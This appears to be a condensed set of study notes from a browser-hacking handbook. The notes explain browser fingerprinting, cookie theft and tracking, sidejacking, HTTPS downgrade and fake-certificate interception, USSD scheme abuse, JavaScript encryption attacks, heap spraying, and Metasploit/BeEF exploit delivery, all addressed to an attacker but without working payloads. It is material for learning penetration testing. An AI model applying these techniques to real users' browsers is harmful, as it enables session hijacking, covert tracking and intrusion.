Before you can effectively attack a browser, it is extremely beneficial to know exactly what type and version of the browser a target is using. The act of determining this information is known as *fingerprinting*. The term fingerprinting can actually be used to describe two different activities. The first is identifying the platform and version of a browser, but the secondary meaning is used when someone is trying to uniquely identify a specific browser from others. Identifying a unique browser is typically used to try to track an *individual* instead of just identifying the platform. Many other pieces of information are brought into this equation.

* + **Fingerprinting using HTTP Headers**

These headers help the browser and the server agree on how information will be transferred, as well as share information about web pages and data that are beyond the scope of the contents of the page. The type of things that browsers and servers discuss is a topic that isn’t for those weak in constitution. They tend to dismiss the pleasantries and get down to the bare essentials pretty quickly.

* + **Fingerprinting using DOM Properties**

To accurately define the real version of a target browser, you have to rely on comparing features and other information available between different browser versions. The DOM is one of the most accessible areas in which to perform this investigation. The DOM stores more than just information about the document that is being shown on the screen. For instance, other information ranging from resolution to navigation functions help developers interact with the browser more easily. As new features are implemented, it enables you to map the browser type as well as narrow down what version of the browser is being used.

* + - **Using DOM Property Existence**

By comparing situations where certain functions exist and others don’t, you can narrow down the browser version. When querying DOM properties, you will get one of four responses:

* *Undefined* because the property doesn’t exist
* *Null* or *NaN* because it’s not set
* *Unknown* for properties that are deprecated or require ActiveX (Internet Explorer only)
* The value of the property

You will want to check which of these values is returned, but you want all of your answers to be a true or false for each check. To do this, you can use a statement like !window.devicePixelRatio to determine if the property exists. If it does, it will return false and if it does not, it will return true. This is a counterintuitive way to check for things that are true, so to determine if they exist, you use a double negative to get the more intuitive answer, such as !!window. devicePixelRatio. This double negative will of course return true if the feature exists, and false if it does not.

* + - **Using DOM Property Values**

Using a DOM property’s existence will only get you part of the way to identifying the browser. To get more information, you’re going to have to look at the actual value of variables in the DOM. Different browsers will have different values that are inherent to the browser itself and not easily changed. This is important because it is very easy to change your User-Agent string. For example, Firefox has a number of extensions that make it trivial to change your User-Agent. User-Agent presented to web pages has been changed to IE 6, but when you look deeper into the DOM variables, the DOM still knows that you’re using Firefox.

Although the User-Agent has been changed to Internet Explorer the window.navigator data actually has both the modified value and the real value. In the appName field the modified value is present, but in the window. navigator.userAgent field, the real User-Agent is still present. Using information like this, you can reveal the real version of the browser, as well as other important information such as language and platform. To get a better understanding of how many people actually spoof the User-Agent header, we can look at how many Chrome users have installed the “User-Agent Switcher for Chrome”9 extension. At the time of this writing, this extension had been installed almost half a million times. Similar results exist for Firefox users who have installed the “User Agent Switcher” Firefox extension.

* + **Fingerprinting using Software Bugs**

Browser bugs are some of the most reliable ways to fingerprint a web browser. Note that this is not the common usage of the word *bug*, which normally refers to unintended functionality that produces a security issue. In this instance, a bug refers to conventional, unintended functionality that is not necessarily security related. A bug may have been introduced into a specific version by a specific vendor and fixed in a subsequent patch or release. Triggering the bug provides a reliable method to determine the vendor and version (boundary) by mapping the bug back to when it was fixed.

* + **Fingerprinting using Quirks**

Quirks are similar to bugs in that they are functionalities that are unique to a specific browser or browser version. This could be anything from what elements are supported in a browser, to what value a specific JavaScript function returns. Browser quirks can be one of the most revealing aspects of different browser versions and platforms. There is a continual race among browsers to incorporate the latest features. Because of this, expediency is often valued over standardization. This creates situations in which different browsers have different variable names, parameters, or other aspects of the same feature.

* **Bypassing Cookie Protections**

Cookies are a simple mechanism to store data within the browser. The data that the cookies store is what makes them interesting. Cookies are used for a wide variety of things, from storing a session identifier so that when you visit a website the website remembers who you are, all the way to storing session data about what you were just doing. Cookies also include a timeframe attribute that indicates how long they are valid, ranging from seconds to the distant future. Cookies can persist across browser restarts or can be deleted as soon as the browser is closed. The cookie jar, an area to store all these cookies, is maintained on behalf of web applications. Cookie jars are the local browser database that contains the cookie information as set by web applications. The web application asks the browser to store a piece of information for a specific amount of time. When the browser revisits a page that’s in scope for the cookie, the browser sends the cookies with every HTTP request. This allows the browser to identify a specific user visiting the site over and over and is used for everything from advertisement tracking, to remembering your name and greeting you as you visit the site.

* + **Understanding the Structure**

Cookie data is transmitted both ways between the browser and the web application. In order for a cookie to be set within the browser, the application sends a Set-Cookie response header that contains the cookie’s details. These include:

* The name of the cookie
* The value of the cookie
* When the cookie expires
* The path the cookie is valid for
* The domain the cookie is valid for
* Other cookie attributes

In this section, you explore the different attributes of the Set-Cookie request to help you understand the subsequent cookie attacks.

* + **Understanding Attributes**

Cookie attributes help determine when a cookie should be sent back to a server and how long a cookie should live. The combination of these attributes is designed to help limit a user’s exposure to attack as well as ensuring that data doesn’t live on longer than it needs to.

* + - **Understanding the Expires Attribute**

The Expires attribute helps the browser determine how long to keep a cookie. Cookies can persist across a browser restart or be designed to destroy themselves as soon as the browser closes. By not sending an Expires attribute, the application can ensure that the cookie is never saved to the disk, and as soon as the browser closes, the cookie data will be destroyed. This is frequently used for login sessions and other types of sessions where there isn’t the desire for data to persist across browser restarts. When dealing with user tracking, session cookies aren’t ideal. If an application wants to be able to identify someone every time they come back to the application, a persistent cookie is more suitable. Persistent cookies set a date in the future when the cookie should be deleted. The date can range from just a few seconds from when the cookie is set up, to a distant enough future that the cookie will live on longer than the user. Knowing the type of cookie is particularly beneficial when attacking user sessions. During session theft, the cookie lifetime and session timeout value determine how long you can maintain access. A short session timeout limits the usability of a cookie even if the cookie has a longer lifetime.

* + - **Understanding the HttpOnly Flag**

The HttpOnly flag helps prevent cookies from being accessed by JavaScript and other scripting languages. The HttpOnly flag tells the browser that the cookie should only be transmitted by the HTTP protocol and should not be accessible in the DOM. This prevents XSS attacks from sending cookie data off-site, as well as preventing the cookies from being modified inside rendered HTML code.

* + - **Understanding the Secure Flag**

The Secure flag helps facilitate this situation by only sending the cookies with the Secure flag over SSL-encrypted connections. Setting this flag helps prevent not only cookies being used inappropriately on a site, but also against sniffing situations where a cookie might be disclosed.

* + - **Understanding the Path Attribute**

The Path attribute combined with the Domain flag dictate the scope of where a cookie is set. Larger applications frequently need a broader domain or path to help track a user across multiple places in a site. Let’s go back to our e-commerce application at browserhacker.com. The ideal situation here would be to use two cookies: a session cookie to track the user across all of browserhacker.com; and another session cookie to track the user, once authenticated, in the browserhacker.com domain limited to only the /checkout path. By limiting the cookie to a specific path, along with using security functionality such as HttpOnly, the exposure of the more sensitive information from the checkout portions of the application should be limited.

* + **Bypassing Path Attribute Restrictions**

Leveraging the previous Ruby code examples, let’s construct a new application that exposes two paths, both of which set separate cookies. The root path sets a generic cookie called parent\_cookie, and the /checkout path sets a more sensitive cookie called checkout\_cookie. The code also includes an XSS flaw in the root path. Let’s assume that there aren’t any XSS flaws in the /checkout path, so you won’t be able to steal the checkout\_cookie through this path. However, there is an XSS flaw in the root path. In these examples, we’re using the alert() function to demonstrate cookie disclosure, while in an actual attack you would use another method to siphon the cookie to a location you control.

* + **Overflowing the Cookie Jar**

When the site sets a cookie, it’s added to the cookie jar (the local browser database that contains the cookie information for sites). Much like a real cookie jar, the jar in most browsers can hold only so many cookies. Even if you can’t directly modify a cookie because it’s HttpOnly or because of other circumstances, you may still have the ability to impact what is sent back from the browser. In situations where you can create cookies in the browser, Alex Kouzemtchenko12 and Chris Evans13 (and John Wilander14 more recently), determined that you can overflow the cookie jar to drop older cookies. If you then replace existing cookies with your own, you can control how a user interacts with a site.

* + **Using Cookies for Tracking**

The challenge with attacking browsers is retaining your control over a target. This is particularly the case if the attack you’re performing takes a long time, or doesn’t work the first time you attempt it. When the browser crashes and the user revisits the attack site, you want to ensure you start again where you left off last time, not back at square one. One way you can do both that, and track the user that you have targeted, is through creating cookies that will last longer than a browser session. In JavaScript this is an easy fix. Let’s say you want to keep track of a user even if the browser crashes and drops all its session cookies. If your intention is to track users for longer periods of time, then the Evercookie15 project may be what you are looking for. For simple tracking, Evercookie makes deleting cookies very difficult for the target, but makes it very easy for you to identify a user over and over again.

* + **Sidejacking Attacks**

Sidejacking attacks, or HTTP session hijacking, is a method of impersonating another user by stealing their session. Session stealing attacks are based on the idea that by copying the session cookie of a user for a site, you can impersonate that legitimate user. Once you have copied the session cookies to your browser, the site will believe you are the target, allowing you to access the account as if you were them. Though session impersonation attacks have been around for a while, they became big news with the release of Firesheep. Firesheep is a Firefox plugin created by Eric Butler that leverages open wireless networks to listen for sessions. Information about sessions is then relayed back to you.

Simply double click the icon of the target you wish to impersonate and you will have their cookies copied to your browser, and can access the target site as them. A veritable wolf in (Fire)sheep’s clothing! One of the underlying issues that allowed Firesheep to be so effective was the common practice by large websites, including Twitter and Facebook, to only protect the login page with HTTPS, and then fall back to HTTP for the rest of the site. This meant that session cookies could not be marked with the Secure flag, because they were required to be submitted over both HTTP and HTTPS channels.

* **Bypassing HTTPS**

when you browse the web, if you see the padlock icon in the corner of your browser, the site must be secure. Right? Wrong! The lock doesn’t actually mean the page is secure. What it really means is that data is being transmitted via HTTPS instead of the cleartext HTTP protocol. So what happens when you need to attack HTTPS communications, particularly where session cookies may only be submitted via HTTPS thanks to that pesky Secure flag? You have a number of approaches for dealing with HTTPS pages, but three in particular are reasonably accessible.

* + **Downgrading HTTPS to HTTP**

HTTPS encrypted traffic cannot (theoretically) be viewed in transit unless you have access to the decryption keys. This means that manipulating and viewing the traffic in transit isn’t possible using publicly known methods. This is where downgrade attacks enter the scene. The goal of HTTP downgrade attacks is to prevent users from ever making it to the HTTPS site in the first place, or to push them back to the HTTP version of the site through other attacks. If you can force the browser to access the HTTP version of the site instead of the HTTPS version, you can view sensitive information in transit. You can rewrite the requests to point from HTTPS back to HTTP in two main ways. The first is by intercepting the data on the network and rewriting the request. The second is by rewriting the request from within the browser.

* + **Attacking Certificates**

There are two main variations of certificate attacks. The first is an attack that replaces one certificate with another. It is simple to execute, but is visible to the target. The second type of attack is more complicated, and leverages a browser bug to present a certificate that will be incorrectly trusted by the browser. This method depends on the browser having vulnerable certificate handling routines.

* + - **Using Fake Certificates**

Creating a fake certificate is trivial, and many attack tools already include fake certificates. Whether you choose to use a proxy, Ettercap, or any other tool, the idea is the same. You present a fake certificate to the target’s browser and act as a middle point for their communication. Don’t forget that because you created the certificate, you also have the decryption key. Because you can decrypt the HTTPS traffic, full interception and alteration of the data is possible. The obvious drawback is that there will be a pop-up message seen by the user. It indicates that the certificate is invalid for the site. With this type of attack the real question is, do you believe the user will think twice about clicking the pop-up? At one point or another, everybody has clicked through an untrusted certificate dialog box when they know they really shouldn’t.

* + - **Using Flawed Certificate Validation**

Another type of certificate attack takes advantage of problems with how browsers manage certificate validation. For example, a group of researchers rom Stanford and Austin universities19 found similar flaws in the Chase mobile banking app. Using this certificate handling vulnerability, credentials, credit card data, or other information could be obtained by providing a self-signed certificate and then monitoring the connection for sensitive data. Arguably the most notable of flawed certification validation vulnerabilities was Moxie Marlinspike’s null character exploit.20 This occurred when certain registrars would allow certificate requests with null characters. This doesn’t sound too malicious on its own, but when combined with the fact that the browsers were using C-based string functions without additional checks on the values, it became much more interesting. It’s common that when string-checking functions look for data, they consider a null character to be a string terminator.

* + **Attacking the SSL/TLS Layer**

Secure Socket Layer (SSL) and its successor Transport Layer Security (TLS) are the encryption protocols used for secure web browsing. Like many other technical software implementations, they have also had their fair share of security issues. Leveraging these weaknesses will permit disclosure of all (or at least portions) of a communication channel. These SSL/TLS layer attacks will often not yield complete messages in a reasonable amount of time. But all is not lost, because they may reveal critical cookie data or other sensitive information that can then be leveraged for further exploitation. At the time of this writing, three such attacks that have gained notoriety are the BEAST21 attack, the CRIME attack, and the Lucky 13 attack.

* **What’s A Padding Oracle Attack?**

You may be wondering how can you possibly attack an Oracle database by padding it, right? These attacks don’t actually have anything to do with Oracle products or systems, including their database systems. The padding oracle attack is the result of information being revealed during the decryption process. Though the information revealed may not be the full plaintext message, in some instances there may be a feasible way to determine content. In depth cryptographic attack techniques are out of the scope of this book, but there is plenty of publicly available research for you to delve into if you so desire.

* **Abusing Schemes**

The URI scheme is the first portion of a URI or URL that precedes the colon (:) character. URI schemes serve dual purposes in the context of browsers. First, schemes are a method to allow different protocols to be accessed by the browser, such as FTP or HTTPS. If a URL starts with ftp:, the browser knows to initiate that connection using the FTP protocol instead of the HTTP protocol. The second function of schemes is to allow the browser to initiate different local behavior. This sometimes includes the opening of a new application.

* + **Abusing iOS**

When a browser uses a particular scheme to perform an action in another application, it may provide you with additional attack vectors. This is highlighted by research published by Nitesh Dhanjani in 2010 on the insecure handling of URI schemes within Apple’s iOS.23 Dhanjani’s research investigated native iOS protocol handling routines, such as the tel: handler. If the iOS Safari browser requested a URL, such as tel:613-966-94916, the phone application would initiate and prompt the user to begin dialing the proposed number. This example alone does not necessarily indicate an insecure implementation, because the phone application still prompts the user to confirm the call before proceeding. You could get lucky and the target could accidently press the call option.

* + **Abusing the Samsung Galaxy**

The Unstructured Supplementary Service Data (USSD) protocol provides a method for GSM cellular phones to communicate directly with the user’s telecommunications provider. The service is often found on prepaid mobile phone plans as a method to find out your remaining balance, or to even top up the credit available on your phone. Of course, USSD has other uses, such as mobile banking, or even updating Twitter or Facebook. Although many of the USSD codes can initiate a real-time connection back to the telecommunications provider, some of these have particular actions assigned to them within the phone handset itself. For example, in most smartphones if you open the telephone application and enter \*#06#, often without even hitting the dial button, your International Mobile Station Equipment Identity, or IMEI, is displayed.

** **

Figure : Android IMEI Figure : iPhone IMEI

Borgaonkar’s research proceeded to uncover multiple ways in which an Android phone may receive the USSD code, and subsequently execute it. Many of these relied on the default behavior of associated applications. Often the application would detect the presence of the tel:// URI scheme and simply hand the information over. This included:

* Embedding a malicious IFrame in a website that directed the Android phone to a specific tel:// USSD code.
* Embedding a tel:// USSD address in a QR code.
* Embedding a tel:// USSD address in an NFC tag.

Looking at the previously discussed USSD code of \*#06#, the impact of this issue may be seen as negligible. What does it matter if you can cause an IMEI code to display on the target’s phone? The problem is that one of the issues highlighted by Borgaonkar was that some USSD codes could be used to attempt to enter the SIM code.

* **Attacking JavaScript**

Importance of JavaScript when it comes to browser attacks of all kinds.

* + **Attacking Encryption in JavaScript**

Web applications continue to implement more and more functionality client-side with the aim of creating robust applications with just the browser and JavaScript. This means it is no longer uncommon to see sensitive functionality move from the web application’s back end to the browser. With HTML5, the WebSocket protocol, and other modern browser technologies becoming more popular, looking at how the browser is protecting its data, and how it’s transmitting it to back-end servers, becomes more important. One of the challenges with JavaScript encryption is that, ultimately, the browser has to have access to all of the code that is actually performing the encryption. Even though a lot of effort has gone into obfuscating JavaScript, in the end, the code still has to be accessible to the browser.

* + - **Mistrusting the Web Application**

Various impediments exist to develop robust JavaScript encryption, the most predominant being the complexities of the trust relationship between the browser and the web application. Let’s upset Schrödinger and term this *super trust*. The browser simultaneously trusts the web application completely in certain contexts, while trusting it partially, or not at all, in others. On one hand, the browser doesn’t have sufficient trust in the web application to store sensitive data within it. On the other hand, it trusts the web application implicitly with respect to JavaScript encryption instructions. This tethering results in a security situation analogous to our friendly quantum cat.

* + - **Revealing the Key**

One of the oldest session token stealing techniques is by using Cross-site Scripting. This attack injects JavaScript instructions to snatch the token residing in the cookie. With this information you can then use the freshly stolen session token in a subsequent request to the web application. This will provide you with access to the application, impersonating the victim you stole the token from. If there is an XSS vulnerability in the web application, a very similar attack can be used to steal the sensitive key. However, there won’t be the potential issue of any pesky HttpOnly protection mechanisms because the key is not stored in the cookie. Additionally, there is no need for expediency because, unlike the session token, the key won’t time out. Once you have the key, all encrypted data will be able to be decrypted and any data can be signed.

* + - **Overriding Functions**

If trusting the bogus signature wasn’t enough, most JavaScript objects can have their functions overridden, depending on scope. This means that any script that is loaded into the DOM can overwrite the functions performing encryption. If an XSS vulnerability exists in the web application, it is possible to override encryption functions. Remember that XSS vulnerabilities are one of the most common vulnerabilities on the Internet and that most applications have had them at one time or another. If any of the sites supplying content can be controlled, they can also provide another avenue to override the encryption functions. Any web application using JavaScript encryption must have complete trust in all origins supplying content, because any one of them can steal secrets and keys.

* + **JavaScript and Heap Exploitation**
    - **Memory Management**

The memory available to applications is managed by the underlying operating system. That is, physical memory is not directly accessed by applications. Instead, the operating system uses the concept of virtual memory to enforce memory separation of the running processes, making each one appear to have access to the full linear address space. Each process has its own available memory for storing and manipulating its data. Browser exploitation relies on modifying memory in such a way that the execution flow is diverted in favor of the attacker. Like most sectors of the security industry, defenses in memory management have been an arms race between exploitation techniques and various security controls, such as ASLR,31 DEP,32 SafeSEH,33 and heap cookies.34 Your goal is to use functionalities under your control to modify and structure memory for exploitation, and in the case of browsers, one of the most effective ways to do this is with JavaScript.

* + - **Firefox and jemalloc**

jemalloc is one such implementation of a memory allocator. jemalloc originally started its life in 2005 before making its way into FreeBSD. jemalloc improved on concurrency and scalability performance compared with conventional malloc methods.36 This was achieved by focusing on enhancing how data is retrieved from memory. As a result, jemalloc is used in a number of well-known projects, including Firefox.

Firefox uses jemalloc for dynamic memory management on all its supported platforms, including Windows, Linux, OS X, and Android. This means that the jemalloc heap is used for memory allocations and an attacker will need to understand how to influence it advantageously. Based on the *principle of locality,*37 which states objects are influenced by their immediate surroundings, jemalloc goes to great lengths to situate allocations of memory contiguously. Specifically, jemalloc divides memory into fixedsized *chunks*. In the case of Firefox, these are 1MB. jemalloc uses these chunks to store all of its other data structures, and user-requested memory as well. To mitigate lock contention problems between threads, jemalloc uses *arenas* to manage chunks.

* + - **Arranging Firefox Memory for Exploitation**

During exploitation, it is important to arrange jemalloc’s memory into an advantageous state. Such a state enables you to make the memory allocator behave in a predictable and reliable manner that offers you an advantage that can lead to violation of an assumption. During exploit development, such information is required and also needs to be reliably predictable to you, the attacker. To gain confidence that memory is arranged into this state, numerous memory allocations are performed. This technique is known as *heap spraying*. Once you have control over contiguous runs*,* you then need to deallocate every second region in this last series of controlled allocations. This will create holes or slots in the runs of the size class you are trying to manipulate.

* **Getting Shells using Metasploit**

Metasploit is the first tool that comes to mind for many penetration testers. Metasploit is a penetration testing framework. Metasploit simplifies the work required to create an exploit that can be used across platforms and systems. A lot of the functionality an exploit developer needs is provided by the framework. For exploit consumers, penetration testers, or system administrators, the Metasploit user interface simplifies the process of executing exploits, providing an easier method to test their own systems. Metasploit has auxiliary modules for discovery and enumeration that allow you to:

* Find vulnerable machines
* Determine what services are running
* Enumerate services
* Gather specific information about protocols on systems
  + **Getting Started with Metasploit**

Kali is a standard penetration testing distribution that includes Metasploit by default. To begin, launch Metasploit using the command msfconsole. Your output should show a splash screen followed by an msf > prompt. Once Metasploit has loaded, you can do a few things, including:

* use a module
* get info on a module
* search for a module
* show information about a module
  + **Choosing the Exploit**

To pick the Metasploit exploit that best fits the target, the first thing you need to do is go through the browser fingerprinting process. If the browser is already hooked into BeEF, you already have some of the information that you need. The first option is to pick recent vulnerabilities available for the target’s platform and choose them. By selectively choosing vulnerabilities to exploit, instead of attacking the system head-on with everything, you’re less likely to be detected. BeEF includes a traffic light system that highlights which exploits are likely to work. The color scheme used is:

* Green for modules that should work without notifying the user
* Yellow for modules that might alert the user
* Red for exploits that are unlikely to work
* Gray, which signifies that the exploit hasn’t been verified on the target Configuration.
  + **Executing a Single Exploit**

The next thing you want to do is start the web server in Metasploit and then use BeEF to direct the browser to Metasploit’s listening port. When dealing with browser exploits, Metasploit will launch a web server to accept incoming browser requests. The Metasploit web server can have multiple endpoints, or URI Paths, that can be attached. This allows a single Metasploit instance to serve multiple exploits on a single network port without having to launch a separate server for each. Why is this important? Because when picking a port to serve exploits from, it’s important to consider how the target is accessing your exploit. If traffic from the target is likely to be traversing a proxy or have firewall filters for non-standard ports, serving the exploits stage on port 5678 might not work. Therefore, serving the exploits stage on port 80 or 443 tends to be more effective, due to potential egress filtering on networks. However, if proxy-based AV is in place, traffic traversing port 80 may be detected and halted, where port 443 may bypass the proxy altogether.

* + **Using Browser Autopwn**

Sometimes it’s hard to find the correct exploit that will work on a browser. In those situations subtlety may need to be thrown out the window, and a series of exploits delivered to the browser may be the best option available. Metasploit’s Browser Autopwn can be an excellent option for this. Browser Autopwn is actually a meta-module for Metasploit that launches many modules in rapid succession. It binds them to different URLs, and then provides a central URL that you can point a browser to in order to start launching the exploits against the targets.

* + **Using BeEF with Metasploit**

Integrating BeEF and Metasploit allows you to control a browser, fingerprint it, and get as much information as you can before you try to exploit it. Sometimes exploits fail, browsers crash, and you lose your control over those browsers you’ve targeted. This is where having more control over the browser is desirable. BeEF does this by calling Metasploit modules directly from within BeEF.